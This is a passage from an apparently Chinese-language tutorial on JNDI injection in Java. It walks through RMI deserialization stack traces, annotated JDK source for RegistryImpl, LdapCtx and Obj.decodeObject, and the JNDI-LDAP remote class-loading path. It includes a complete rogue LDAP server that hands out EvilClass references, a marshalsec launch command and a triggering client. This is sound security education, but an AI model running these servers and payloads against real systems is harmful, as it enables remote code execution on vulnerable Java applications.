35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
at java.lang.Runtime.exec(Runtime.java:320)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
at java.util.HashMap.hash(HashMap.java:340)
at java.util.HashMap.readObject(HashMap.java:1419)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
at java.util.HashMap.readObject(HashMap.java:1418)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
at java.io.ObjectInputStream.access$800(ObjectInputStream.java:217)
at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2603)
at java.io.ObjectInputStream.readFields(ObjectInputStream.java:673)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:429)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:127)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:218)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.Client.main(Client.java:11)

前面提到过 InitialContextlookup 方法会调用到 RegistryContext#lookup 方法,而在该方法中会调用的 registry.lookup 实际上是 RegistryImpl_Stub#lookup 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object lookup(Name name) throws NamingException {
if (name.isEmpty()) {
return (new RegistryContext(this));
}
Remote obj;
try {
obj = registry.lookup(name.get(0)); // 👈 RegistryImpl_Stub#lookup
} catch (NotBoundException e) {
throw (new NameNotFoundException(name.get(0)));
} catch (RemoteException e) {
throw (NamingException)wrapRemoteException(e).fillInStackTrace();
}
return (decodeObject(obj, name.getPrefix(1)));
}

RegistryImpl_Stub#lookup 会发起一次远程 RMI 调用查询远程对象,并将获取到的远程对象反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// implementation of lookup(String)
public java.rmi.Remote lookup(java.lang.String $param_String_1)
throws java.rmi.AccessException, java.rmi.NotBoundException, java.rmi.RemoteException {
try {
StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 2, interfaceHash);
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_String_1);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
java.rmi.Remote $result;
try {
java.io.ObjectInput in = call.getInputStream();
$result = (java.rmi.Remote) in.readObject(); // 👈 反序列化
} catch (ClassCastException | IOException | ClassNotFoundException e) {
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {
ref.done(call);
}
return $result;
} catch (java.lang.RuntimeException e) {
throw e;
} catch (java.rmi.RemoteException e) {
throw e;
} catch (java.rmi.NotBoundException e) {
throw e;
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
}
}

如果我们在注册中心注册远程对象的时候是直接使用 LocateRegistry.createRegistry(1099).bind 注册,那么注册中心会直接把我们要注册的远程对象放进 bindings 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
// 说明:对“远程来电”路径,骨架/调度层会先做访问控制校验;
// 本地同进程直接调用不经过骨架的远程访问检查。

synchronized (bindings) { // 以注册表映射为锁,保证并发安全
// 1) 检查名称是否已被占用
Remote curr = bindings.get(name);
if (curr != null) {
// 已存在同名条目 → 按规范抛 AlreadyBoundException
throw new AlreadyBoundException(name);
}

// 2) 放入映射:名称 → 远程对象(通常是其 stub)
bindings.put(name, obj);
}
}

然后客户端 RegistryImpl_Stub#lookup 查询远程对象的时候,注册中心会调用到 RegistryImpl_Skel#dispatchlookup 分支。这里会将本地调用 RegistryImpl#lookup 根据字符串 name 查询到的对象序列化发回。期间没有任何过滤检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 2: // lookup(String)
{
// ---- 1) 解组(读取)入参:String name ----
java.lang.String $param_String_1;
try {
// RMI 传输层提供的输入流(通常是 MarshalInputStream 的子类),
// 这里按需向下转型为 ObjectInputStream 使用。
ObjectInputStream in = (ObjectInputStream) call.getInputStream();

// 使用 JDK 内部的 SharedSecrets 直读字符串:
// 与通用的 in.readObject() 不同,readString(...) 只接收 TC_STRING/TC_LONGSTRING,
// 避免触发任意对象反序列化(更高效、也更安全)。
$param_String_1 =
SharedSecrets.getJavaObjectInputStreamReadString().readString(in);

} catch (ClassCastException | IOException e) {
// 入参解组失败:丢弃还未处理完的引用(避免 DGC/引用泄漏),并按协议抛出“解组异常”
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
// 无论成功失败,都要释放输入流占用的底层资源/连接一侧
call.releaseInputStream();
}

// ---- 2) 本地调用实现:RegistryImpl.lookup(name) ----
java.rmi.Remote $result = server.lookup($param_String_1);

// ---- 3) 组包并写回返回值(正常返回)----
try {
// true 表示“正常返回”(非异常路径);RMI 会据此写入相应的返回头部
java.io.ObjectOutput out = call.getResultStream(true);

// 返回值是 Remote:RMI 会在写出时将其“替换”为可传输的 stub/动态代理,
// 客户端收到的是远程引用而非服务端实现对象本身
out.writeObject($result);

} catch (java.io.IOException e) {
// 返回值序列化失败 → 按协议抛出“编组异常”
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}

RegistryImpl#lookup 直接根据 name 参数从 bindings 中查询对应的对象返回。因此这里序列化返回的是我们注册到注册中心的序列化对象。

提示

正常情况下我们在注册中心注册的普通远程对象应当是对象本身的一个动态代理,这是因为我们在定义远程对象的时候会使用 exportObject 导出。但是这里我们是直接将一个反序列化对象注册到了注册中心,因此客户端 lookup 查询到的就是我们注册的反序列化对象。

1
2
3
4
5
6
7
8
9
10
11
public Remote lookup(String name)
throws RemoteException, NotBoundException
{
synchronized (bindings) { // 保证“检查并返回”的一致性与可见性
Remote obj = bindings.get(name); // 根据名称查询已登记的远程对象
if (obj == null) { // 未绑定:按规范抛出 NotBoundException
throw new NotBoundException(name);
}
return obj; // 命中:返回远程对象引用(通常为 stub)
}
}

JNDI-LDAP

LDAP(Lightweight Directory Access Protocol) 是一种访问“目录服务”的网络协议,也就是“专门用来查找信息的大号电话簿服务器”。它不存文件、不跑网站,只做一件事:像个高性能、只读为主的树状数据库,供你快速“查人、查设备、查对象信息”。

LDAP 内部维护一个目录信息树(Directory Information Tree),整个目录就是一棵倒挂的树,每个条目 Entry 是一片“叶/节点”。例如:

1
2
3
4
5
6
7
8
dc=example,dc=com            ← 根节点(命名上下文 / 后缀)
├── ou=people ← 一个组织单位(组织结构)
│ ├── uid=alice ← Alice 用户
│ └── uid=bob ← Bob 用户
├── ou=groups ← 一组用户组
│ └── cn=adminGroup ← 管理员组
└── ou=devices ← 一组设备
└── cn=printer01
  • 整棵树是分层有序的结构(像文件系统,但主要用于查而非存),树的根(后缀、命名上下文)常见是域名拆分:dc=example,dc=com

  • 每个条目(Entry)都有:

  • DN(Distinguished Name) :它的“完整地址路径”,例如:

    1
    uid=alice,ou=people,dc=example,dc=com
  • 属性(Attributes) :以键值对形式保存的信息,例如前面 DN 的例子对应的属性可以是:

    1
    2
    3
    4
    cn=Alice Smith
    sn=Smith
    mail=alice@example.com
    objectClass=inetOrgPerson

远程类加载(11.0.1、8u191、7u201、6u211 前)

如果在自建的 LDAP 服务器在返回的条目里塞了Java 扩展属性

  • objectClass: javaNamingReference
  • javaFactory: EvilClass
  • javaCodeBase: http://localhost:8000/

Java 的 JNDI-LDAP 提供者看到这些,会按 “Reference 分支” 去“还原对象”:

  1. 本地能找到 EvilClass 工厂类 → 直接执行

  2. 找不到且 允许远程 codebase → 去 javaCodeBase 下载类并执行

LDAP 在这里就是运输载体 :把一条“带特殊属性的条目”送给 JNDI,JNDI 再按规则把它当作 Java 对象处理。因此这里本质上还是通过 JNDI 的 References 机制来远程加载类。

为了完成 JNDI+LDAP 的攻击,我们需要搭建一个简易的 LDAP 服务器。

com.unboundid.*UnboundID LDAP SDK一个纯 Java 实现的 LDAP 客户端 + 服务器库,由原 Sun Directory Server 团队开发,支持嵌入式 LDAP 服务器

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.11</version>
</dependency>

借助 com.unboundid 我们可以开发一个简易的 LDAP 服务器来响应客户端的 LDAP 请求并返回固定结果:

  1. InMemoryDirectoryServer 起了一个轻量 LDAP 服务(监听 0.0.0.0:1389

  2. InMemoryOperationInterceptor 拦截所有 search 请求

  3. 不管客户端查啥 DN,统一返回一条“假的 LDAP 条目”,内容如下:

    1
    2
    3
    4
    dn: dc=example,dc=com
    objectClass: javaNamingReference
    javaFactory: EvilClass
    javaCodeBase: http://localhost:8000/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.unboundid.ldap.listener.*;
import com.unboundid.ldap.listener.interceptor.*;
import com.unboundid.ldap.sdk.*;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

/**
* JNDI-LDAP 引用服务器
* - 使用 UnboundID 内存型 LDAP 服务器
* - 拦截任意 search 请求,直接返回一个“Java Reference”条目
* - 条目里放:javaNamingReference / javaFactory / javaCodeBase
* → 由客户端 JNDI-LDAP 提供者解析,尝试按 codebase 加载工厂类
*
* 注意:
* - 远程 codebase 是否允许,取决于客户端 JVM 的
* com.sun.jndi.ldap.object.trustURLCodebase(8u191/11+ 默认 false)
* - 这里固定回一个 DN=BASE 的条目,忽略了请求的 baseDN
*/
public class LDAPServer {
// 目录根 DN(条目的“住址”根),客户端最好以此为 baseDN 查询
private static final String BASE = "dc=example,dc=com";
// 工厂类下载根 URL(务必以 / 结尾;能直接访问到 EvilClass.class)
private static final String CODEBASE = "http://localhost:8000/";
// 工厂类简单名(无包名时=文件名;若有包名需改成完全限定名并调整 codebase 目录结构)
private static final String FACTORY = "EvilClass";
// 演示端口(标准 LDAP 明文是 389,PoC 常用不冲突的 1389)
private static final int PORT = 1389;

public static void main(String[] args) throws Exception {

// 1) 以 BASE 为根创建内存 LDAP 配置
InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig(BASE);

// 2) 启用 IPv4 监听
cfg.setListenerConfigs(
new InMemoryListenerConfig(
"v4", // 监听器名字
InetAddress.getByName("0.0.0.0"), // 监听地址(IPv4 全接口)
PORT, // 监听端口
ServerSocketFactory.getDefault(), // 明文 server socket 工厂
SocketFactory.getDefault(), // client socket 工厂(一般用不到)
(SSLSocketFactory) SSLSocketFactory.getDefault() // 可用于 StartTLS/LDAPS,这里未启用
)
);

// 3) 注册拦截器:拦截 search 并直接回一个 Reference 条目
cfg.addInMemoryOperationInterceptor(new RefInterceptor(CODEBASE, FACTORY));

// 4) 启动内存服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(cfg);
System.out.println("[*] LDAP listening on 0.0.0.0:" + PORT);
ds.startListening();
}

/**
* 搜索结果拦截器:
* - 不管客户端查什么 DN,一律返回一个固定 DN=BASE 的条目
* - 条目属性设置为“Java 引用对象”编码(javaNamingReference 分支)
* * objectClass: javaNamingReference
* * javaClassName: 提示类名(非强约束;Many impl 不严)
* * javaFactory: 工厂类名(JNDI 将实例化它)
* * javaCodeBase: 工厂类下载根 URL(末尾带 /)
*/
static class RefInterceptor extends InMemoryOperationInterceptor {
private final Entry entry;

RefInterceptor(String codebase, String factory) {
// 固定使用 BASE 作为返回条目的 DN(简单粗暴;真实服务器通常回请求里的 DN)
this.entry = new Entry(BASE);
entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaClassName", "java.lang.Object"); // 仅作提示,可随意
entry.addAttribute("javaFactory", factory); // 需与远程加载类名称匹配
entry.addAttribute("javaCodeBase", codebase); // 需能直达 .class 的根 URL;结尾必须有 '/'
}

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
try {
// 直接把预构建条目作为搜索结果返回,忽略请求的 baseDN / scope
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}

提示

除了自己实现 LDAP 服务器外,我们还可以借助 marshalsec 来开启一个 LDAP 服务。

  1. 首先运行 mvn clean package -DskipTests 将项目打包为 jar 包,项目会多出一个 target 目录,进入可以看到生成的 jar 包。

  2. 开启ldap服务:

    1
    java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EvilClass 1389

这样客户端的通过 JNDI 访问 ldap://localhost:1389/exploit(后面的字符串 exploit 可以任意指定)时会得到我们的恶意 JNDI 服务器的固定返回结果。

  1. 从 HTTP 上下载 EvilClass.class

  2. 实例化它(它实现了 ObjectFactory

  3. 触发恶意代码(比如弹计算器)

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://localhost:1389/exploit");
}
}
sequenceDiagram
    autonumber

    %% ── 客户端(本机进程) ──
    box rgb(230,242,255) 客户端(进程)
      participant App as Client 应用 💻
      participant IC as InitialContext
      participant LURL as ldapURLContext
      participant LCtx as LdapCtx
      participant OBJ as Obj.decodeObject 解码器
      participant DM as DirectoryManager 🧠
      participant NM as NamingManager
      participant VH as VersionHelper / URLClassLoader 📚
    end

    %% ── 目录服务(远端) ──
    box rgb(232,245,233) LDAP 服务器
      participant LDAP as InMemoryDirectoryServer / LDAP
    end

    %% ── 代码库(远端) ──
    box rgb(255,243,224) 代码库服务器
      participant HTTP as HTTP Codebase 🌐
    end

    %% 1) JNDI 访问 LDAP
    App->>IC: lookup(ldap://localhost:1389/exploit) 🔍
    IC->>LURL: 选择 LDAP 提供者
    LURL->>LCtx: c_lookup(Name)

    %% 2) LDAP 返回“Java 扩展属性”条目
    LCtx->>LDAP: search base=exploit scope=OBJECT filter=(objectClass=*)
    LDAP-->>LCtx: 返回条目:javaNamingReference / javaFactory=EvilClass / javaCodeBase=http://localhost:8000/ 📄

    %% 3) 解码为 Reference
    LCtx->>OBJ: decodeObject(attrs)
    OBJ-->>LCtx: Reference(factory=EvilClass, codebase=http://localhost:8000/) 🗂️

    %% 4) 进入对象工厂分支(DirectoryManager → NamingManager)
    LCtx->>DM: getObjectInstance(ref, name, ctx, env, attrs)
    DM->>NM: getObjectFactoryFromReference(ref, EvilClass)

    %% 5) 远程 codebase 加载分支(体现 8u191 修复)
    note over NM,VH: 读取 com.sun.jndi.ldap.object.trustURLCodebase(8u191+ 默认 false)🔧
    alt 允许远程 codebase(8u191 之前 或 -D...=true)🔓
      NM->>VH: loadClass(EvilClass, http://localhost:8000/) 📥
      VH->>HTTP: GET /EvilClass.class 🌐
      HTTP-->>VH: 200 OK(class 字节)📦
      VH-->>NM: Class EvilClass
      note right of NM: 💥 类加载触发 clinit 静态初始化(如 Runtime.exec)
      NM-->>DM: (可继续实例化并进入工厂逻辑)返回
      DM-->>App: 返回结果 ✅
    else 禁止远程 codebase(8u191+ 未开启)🔒
      NM->>VH: loadClass(EvilClass, http://localhost:8000/)
      VH-->>NM: 拒绝远程加载(null/失败)
      NM-->>DM: 回退路径:尝试本地 classpath 或按规范返回 refInfo
      DM-->>App: 回退结果 ⚠️
    end

调用堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
at java.lang.Runtime.exec(Runtime.java:347)
at EvilClass.<clinit>(EvilClass.java:4)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.Client.main(Client.java:9)

new InitialContext().lookup("ldap://localhost:1389/exploit") 表示的是 JNDI 按 URL 前缀选择 LDAP 提供者对 LDAP 服务器发起一次“BASE/OBJECT”搜索(只查这个 DN,对应 URL 末尾的那段)

之后服务器把一个条目(Entry)回给 JNDI,JNDI 再尝试把这个条目还原成 Java 对象

整个过程的核心逻辑位于 LdapCtx#c_lookup 函数:

  1. 首先 doSearchOnce(name, "(objectClass=*)", cons, true) 向 LDAP 服务器发起一次搜索,这里我们的恶意服务器会返回一个包含恶意类的 Referencesentry
  2. 如果条目中 javaClassName 属性不为空,则会调用 Obj.decodeObject 解析得到 Reference 对象。
  3. DirectoryManager.getObjectInstance 会根据我们的解析得到 Reference 对象加载 javaCodeBase 对应的 URL 下的 javaFactory 属性指定的工厂类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// 在当前 LdapCtx 上执行一次“查找”。
// name:待查的相对/绝对名(DN)
// cont:Continuation,用于当发生 referral / partial result 时把上下文填入异常
protected Object c_lookup(Name name, Continuation cont)
throws NamingException {
// 先把错误上下文绑定到 cont(若后续抛异常,能带上定位信息)
cont.setError(this, name);

Object obj = null; // 最终要返回的对象(可能是已解码的 Java 对象,也可能是一个新的 LdapCtx)
Attributes attrs; // 从 LDAP 返回的属性集合(如果找到条目)

try {
// 1) 构造一次仅查“该对象本身”的搜索请求(OBJECT_SCOPE)
SearchControls cons = new SearchControls();
cons.setSearchScope(SearchControls.OBJECT_SCOPE); // 只查当前 DN,不下潜
cons.setReturningAttributes(null); // null=请求所有属性(由服务器裁剪)
cons.setReturningObjFlag(true); // 需要属性值(用于后面解码 Java 对象)

// 2) 📌 发起一次搜索:过滤器为 (objectClass=*),等价“只要存在就取回来”
// 第 4 个参数 true 通常表示遵循/处理某些控件或标志(取决于底层实现)
LdapResult answer = doSearchOnce(name, "(objectClass=*)", cons, true);

// 保存服务器返回的 response controls(条目外层的响应控件)
respCtls = answer.resControls;

// 3) 错误码处理:非 LDAP_SUCCESS 则按返回码抛出相应异常(含 referral 等)
if (answer.status != LdapClient.LDAP_SUCCESS) {
processReturnCode(answer, name);
}

// 4) 取回条目与属性:
// - 按语义期望 1 个 SearchResult;没有或数量不为 1,则给空属性集占位
if (answer.entries == null || answer.entries.size() != 1) {
// 找到了“名”,但没拿到属性 —— 构造一个大小写不敏感的空属性集
attrs = new BasicAttributes(LdapClient.caseIgnore);
} else {
// 正常:拿到第一个也是唯一的条目
LdapEntry entry = answer.entries.elementAt(0);
attrs = entry.attributes;

// 合并条目级别的 response controls(与外层 response controls 合并)
Vector<Control> entryCtls = entry.respCtls;
if (entryCtls != null) {
appendVector(respCtls, entryCtls);
}
}

// 5) 📌 如果条目包含“Java 对象扩展属性”,尝试解码为 Java 对象
// Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME] 通常对应 "javaClassName"
// decodeObject 会处理两种分支:
// - javaSerializedData:反序列化对象(受 JEP 290 过滤影响)
// - javaNamingReference / javaFactory / javaCodeBase:Reference → 调用工厂
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
obj = Obj.decodeObject(attrs);
}

// 6) 如果没有可解码的 Java 对象(或解码失败/未命中),则按 JNDI 语义:
// 返回一个指向该 DN 的新 LdapCtx(即目录上下文对象,而非实体对象)
if (obj == null) {
obj = new LdapCtx(this, fullyQualifiedName(name));
}

} catch (LdapReferralException e) {
// 7) Referral 处理:
// 如果策略是“抛出”,则把当前上下文信息塞进异常后直接抛
if (handleReferrals == LdapClient.LDAP_REF_THROW)
throw cont.fillInException(e);

// 否则按“顺序处理转介”的策略,一个个跟随 referral 去重试
while (true) {
// 基于 referral 信息获取一个“转介上下文”,带上当前环境与绑定控件
LdapReferralContext refCtx =
(LdapReferralContext) e.getReferralContext(envprops, bindCtls);

try {
// 在 referral 指向的新上下文上,重复原始的 lookup 操作
return refCtx.lookup(name);

} catch (LdapReferralException re) {
// 如果追随转介过程中又遇到新的 referral,则继续循环处理
e = re;
continue;

} finally {
// 无论成功失败,都要关闭 referral 上下文,避免泄露
refCtx.close();
}
}

} catch (NamingException e) {
// 其他 JNDI 命名异常:补全上下文信息后抛出
throw cont.fillInException(e);
}

try {
// 8) 📌 交给 DirectoryManager 最终“对象工厂”阶段处理:
// - 如果 obj 是 Reference/Referenceable 或者存在已注册的 ObjectFactory
// 则可能在这里被转换成“更高层的业务对象”
// - 否则通常直接原样返回 obj
return DirectoryManager.getObjectInstance(obj, name,
this, envprops, attrs);

} catch (NamingException e) {
// 工厂阶段抛 NamingException:同样补上下文后抛
throw cont.fillInException(e);

} catch (Exception e) {
// 其他任意异常:包装成 NamingException 再抛
NamingException e2 = new NamingException(
"problem generating object using object factory");
e2.setRootCause(e);
throw cont.fillInException(e2);
}
}

decodeObjectcom.sun.jndi.ldap.Obj 类中的一个静态方法,用于从 LDAP 的属性集合中“解码”出一个 Java 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/*
* 从 LDAP 的属性集合中“解码”出一个 Java 对象。
* 可能返回:
* 1) 反序列化得到的对象(javaSerializedData 分支)
* 2) 远程 RMI 对象(兼容旧实现)
* 3) Reference 对象经 ObjectFactory 还原的实例(javaNamingReference 分支)
*
* 具体属性格式见 encodeObject() / encodeReference() 的约定。
*/
static Object decodeObject(Attributes attrs) throws NamingException {

Attribute attr;

// 读取 codebase(可能是多个 URL),三种分支都会用到。
// 一般来自 LDAP 属性 "javaCodeBase";getCodebases 会把它拆成 String[]。
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));

try {
// —— 📌 分支 1:javaSerializedData —— //
// 若条目包含序列化字节("javaSerializedData"),则按该 codebase 构造类加载器,
// 用它来反序列化成对象(需要能解析到类定义)。
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases); // 可能返回 URLClassLoader 或 null
return deserializeObject((byte[]) attr.get(), cl);
// —— 📌 分支 2:javaRemoteLocation(历史兼容) —— //
// 如果条目包含“远程位置”("javaRemoteLocation"),走旧的 RMI 对象解码逻辑。
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// 仅为向后兼容:通过类名 + 远程位置 + codebase 组装出一个 RMI 对象引用
return decodeRmiObject(
(String) attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(), // "javaClassName"
(String) attr.get(), // 远程位置字符串
codebases);
}

// —— 📌 分支 3:Reference(javaNamingReference) —— //
// 检查 objectClass 是否声明了“这是一个 Java 引用对象”(支持大小写两套常量)
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
// 把 LDAP 属性解码成 javax.naming.Reference,
// 再结合 codebase 通过 ObjectFactory 生成真正的对象实例。
return decodeReference(attrs, codebases);
}

// 若三种分支都不匹配,则说明这条目不是“可解码成 Java 对象”的条目,返回 null。
return null;

} catch (IOException e) {
// 统一把 I/O 异常包装成 NamingException 往上抛(JNDI 的异常语义)
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}

decodeObject 主要有三个分支:

  • javaSerializedData 分支 :若条目包含序列化字节属性 javaSerializedData 则将其反序列化,这也是后面要介绍的 JNDI-LDAP 的反序列化做法。

  • javaRemoteLocation 分支 :如果条目包含远程位置属性 javaRemoteLocation,走旧的 RMI 对象解码逻辑。例如我们的 LDAP 的 entry 构造成下面这种形式:

    1
    2
    3
    4
    this.entry = new Entry(BASE);
    entry.addAttribute("objectClass", "javaObject");
    entry.addAttribute("javaClassName", "java.lang.Object");
    entry.addAttribute("javaRemoteLocation", "rmi://127.0.0.1:1099/exploit");

    则会构造并返回一个 Reference 对象,其中的 rmiName 被设置为 rmi://127.0.0.1:1099/exploit,也就是 entryjavaRemoteLocation 属性。之后会根据 rmiName 执行 JNDI-RMI 的远程加载类的操作:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
    at com.sun.jndi.url.rmi.rmiURLContextFactory.getUsingURL(rmiURLContextFactory.java:71)
    at com.sun.jndi.url.rmi.rmiURLContextFactory.getObjectInstance(rmiURLContextFactory.java:56)
    at javax.naming.spi.NamingManager.getURLObject(NamingManager.java:601)
    at javax.naming.spi.NamingManager.processURL(NamingManager.java:381)
    at javax.naming.spi.NamingManager.processURLAddrs(NamingManager.java:361)
    at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:207)
    at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
    at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
    at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
    at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
    at javax.naming.InitialContext.lookup(InitialContext.java:417)
    at org.example.Client.main(Client.java:9)

